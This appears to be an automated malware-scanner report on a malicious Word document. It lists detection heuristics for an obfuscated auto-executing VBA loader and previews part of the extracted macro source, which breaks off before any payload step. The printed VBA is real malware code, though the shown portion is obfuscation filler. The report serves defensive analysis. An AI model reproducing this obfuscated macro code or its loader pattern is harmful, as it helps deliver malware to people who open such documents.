MALICIOUS
262
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file is identified as malicious by ClamAV and exhibits critical heuristic firings for an obfuscated auto-exec VBA loader. The presence of a Document_Open macro and GetObject calls further indicates malicious intent. The VBA script is heavily obfuscated, making it difficult to determine the exact payload, but its structure suggests it is designed to download and execute a second-stage payload.
Heuristics 7
-
ClamAV: Doc.Malware.Chronos-6897935-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Chronos-6897935-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
GetObject call high OLE_VBA_GETOBJGetObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.iec.ch In document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 38321 bytes |
SHA-256: f917e3087a595e3f45e4e4f55a2b4dddacd9226e5df13dfeb0181d8c8da9fb56 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub mugnZz(AtPnFu As Boolean, MEYJzNt As Integer, BriXhje As Boolean, BFoDdx As Boolean, UyIfeQ As String)
eMVgjE = 788 - 1108 - 1916
mwFiPdy = 443 + 1900 + 979
While CEWWGB < 107
bJniRkWh = LTrim("%d]jWP(P*eOH!^Zu%.x")
TLUXTQ = "%@ u]uhnu$hBozhd@rN(" + "hd%ta %*!H%Fg<WHWn" + "S% GKN[V^Cl"
vFPKG = RTrim("(j%rCyF*.iw")
CfThmoPF = Space(8)
mYudg = LTrim("HXKnc_@[fUT*lu]kdX")
mYudg = "qquJPxc%^Yj?*" + "xDCoIsf^iJ!G" + "wEPIeAnNGVQJQnOYhxSo"
CEWWGB = CEWWGB + 2
Wend
bJniRkWh = RTrim("hdf]dowNO)qJ^So")
DslvbYyR = Right("ZO]kLYNuza R", 4)
vFPKG = Left("mwDWd@Ze#)^&bMZ%(", 2)
LFJVQgrk = StrReverse("?ps?CbppRD$(*")
While utfNyz < 151
bJniRkWh = 1801 + 203 + 892
oyUVzqMb = Left("UtOiu$yBbDPuJf", 5)
oyUVzqMb = RTrim("#jO?BFrc$?bWC")
LFJVQgrk = "SmYq_AsMCuIN&" + "aWkVmWXIx&s_r" + "cOy)gm?pYWt"
jlvtH = StrReverse("(T&b]qQ)pzy-VIWGnQ")
mwFiPdy = 617 - 1708 - 1295
utfNyz = utfNyz + 1
Wend
mYudg = StrReverse("T-xNkkICtTW sh)xA")
jlvtH = UCase("yRnRzuVFOiPtG$k")
mYudg = 1349 - 529 - 929
For WFVets = 0 To 358
DslvbYyR = 1407 + 1229 + 1238
TLUXTQ = Left("Ux[-Q_DAlnCK%(bG", 5)
Next WFVets
TLUXTQ = LTrim("&xORfW!uvrhGY[fef")
vFPKG = Left("#f[uxdjT MA@OGIQHRv", 5)
LmywOYid = 1505 - 1250 - 1996
mYudg = LTrim("P?lA[PFz?eFI")
For mVIKWd = 0 To 303
jlvtH = UCase("vV#@JqibXj_tMxirg@")
oyUVzqMb = 393 - 1638 - 1570
Next mVIKWd
mwFiPdy = Space(14)
eMVgjE = RTrim("X^)# br$H(^]Mm")
eMVgjE = Space(13)
CfThmoPF = RTrim("k? #EGoahNY$!*")
oyUVzqMb = 1504 - 342 - 1508
DslvbYyR = UCase("Lsi[%^gz)C*y")
For eJxNPl = 0 To 315
TLUXTQ = LTrim("YRh)G#c^i-f(x")
mwFiPdy = "UDphqy.onLwp*]U" + "W&jb???Je)t%))aa%wLS" + "sRllmLPj@%rl%zK__?"
oyUVzqMb = 531 - 518 - 800
CfThmoPF = 1359 - 1391 - 1047
vFPKG = Left("m#VcuJ?DHWU!CMaVO[_", 2)
CfThmoPF = RTrim(")RdBawULW!Bjezkvy")
eMVgjE = UCase("s _XQ$LcSp&NY")
Next eJxNPl
bJniRkWh = 832 - 1478 - 1413
vFPKG = 1784 + 605 + 1958
End Sub
Private Function aFDghY(aHsyiF As Integer, cbZjnb As Boolean, vSYSSWZ As Boolean) As String
For BrbUFM = 0 To 332
DslvbYyR = StrReverse("iASs^Bm[wBG")
TLUXTQ = 1253 - 1688 - 931
bJniRkWh = Left("gGfcW?)WK_@^^E!.gn", 2)
Next BrbUFM
For kLSBCe = 0 To 30
CfThmoPF = "&)g #z%[Gv@s" + ")-sbxmpPqYq#u !x m" + "mbSBFc%p^_SPN"
jlvtH = Right("Q?t!uAYy?wZPmAH", 4)
DslvbYyR = UCase("URD@[-LsZDC")
eMVgjE = StrReverse("v[%Ha_M?Mzv&m")
LFJVQgrk = StrReverse("y#aRxKrht]YkLin")
Next kLSBCe
oyUVzqMb = Space(17)
bJniRkWh = Right("w$^ cTzeKCSR]MOkr", 3)
While kSVfIX < 284
vFPKG = Space(19)
LmywOYid = UCase("^b.*gjeHUK[Q^M")
TLUXTQ = RTrim("odGevaVLNq@")
eMVgjE = RTrim("S[KAwq@jOlQDv")
kSVfIX = kSVfIX + 2
Wend
eMVgjE = StrReverse("ONiGW a-Ntie")
CfThmoPF = LTrim("B L(hfOJwx[!L!_")
vFPKG = StrReverse("prXfw($Z*@ip TqK(K")
oyUVzqMb = StrReverse("_ERWZut?AYHvsvVAx)dm")
mYudg = StrReverse("FdMGsPLQ%AHd")
mwFiPdy = StrReverse("%UKWOPcAyl#QbUZSe!")
vFPKG = UCase("uXB!*xxn[V")
While XWPwKL < 331
mYudg = Space(8)
mwFiPdy = 950 + 1663 + 120
XWPwKL = XWPwKL + 2
Wend
jlvtH = "uyJw#_bKQ^bdHeB" + "U#NDA!HPGdbS(H[" + "njtWyDw j^MXi_j*wB"
oyUVzqMb = 1748 - 1395 - 1307
mYudg = 832 - 1735 - 827
mYudg = LTrim("&lD&AuqLucncb")
mYudg = Right("-n*A[#ANKk", 2)
LFJVQgrk = Left("doT ]DR]^Z G", 4)
vF
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.